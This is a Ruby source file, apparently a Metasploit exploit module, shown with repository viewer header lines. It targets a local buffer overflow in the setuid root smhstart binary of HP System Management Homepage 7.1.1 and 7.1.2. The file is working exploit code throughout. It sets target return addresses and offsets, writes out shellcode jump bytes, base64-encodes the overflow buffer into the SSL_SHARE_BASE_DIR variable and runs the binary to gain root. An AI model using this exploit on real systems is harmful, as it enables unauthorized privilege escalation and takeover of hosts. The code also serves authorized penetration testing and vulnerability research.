cgranleese-r7
93 lines
2.8 KiB
Ruby
93 lines
2.8 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = NormalRanking
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include Msf::Exploit::EXE
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include Msf::Post::File
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include Msf::Exploit::Local::Linux
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def initialize(info = {})
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super(
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update_info(
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info,
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{
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'Name' => 'HP System Management Homepage Local Privilege Escalation',
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'Description' => %q{
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Versions of HP System Management Homepage <= 7.1.2 include a setuid root
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smhstart which is vulnerable to a local buffer overflow in SSL_SHARE_BASE_DIR
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env variable.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'agix' # @agixid # Vulnerability discovery and Metasploit module
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],
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'Platform' => [ 'linux' ],
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'Arch' => [ ARCH_X86 ],
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'SessionTypes' => [ 'shell' ],
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'Payload' => {
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'Space' => 227,
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'BadChars' => "\x00\x22"
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},
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'References' => [
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['OSVDB', '91990']
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],
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'Targets' => [
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[
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'HP System Management Homepage 7.1.1',
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{
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'Arch' => ARCH_X86,
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'CallEsp' => 0x080c86eb, # call esp
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'Offset' => 58
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}
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],
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[
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'HP System Management Homepage 7.1.2',
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{
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'Arch' => ARCH_X86,
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'CallEsp' => 0x080c8b9b, # call esp
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'Offset' => 58
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}
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],
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],
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'DefaultOptions' => {
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'PrependSetuid' => true
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},
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'DefaultTarget' => 0,
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'DisclosureDate' => '2013-03-30',
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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},
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}
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)
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)
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register_options([
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OptString.new("smhstartDir", [ true, "smhstart directory", "/opt/hp/hpsmh/sbin/" ])
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])
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end
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def exploit
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pl = payload.encoded
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padding = rand_text_alpha(target['Offset'])
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ret = [target['CallEsp']].pack('V')
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exploit = pl
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exploit << ret
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exploit << "\x81\xc4\x11\xff\xff\xff" # add esp, 0xffffff11
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exploit << "\xe9\x0e\xff\xff\xff" # jmp => beginning of pl
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exploit << padding
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exploit_encoded = Rex::Text.encode_base64(exploit) # to not break the shell base64 is better
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id = cmd_exec("id -un")
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if id != "hpsmh"
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fail_with(Failure::NoAccess, "You are #{id}, you must be hpsmh to exploit this")
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end
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cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit_encoded}' | base64 -d)")
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cmd_exec("#{datastore['smhstartDir']}/smhstart")
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end
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end
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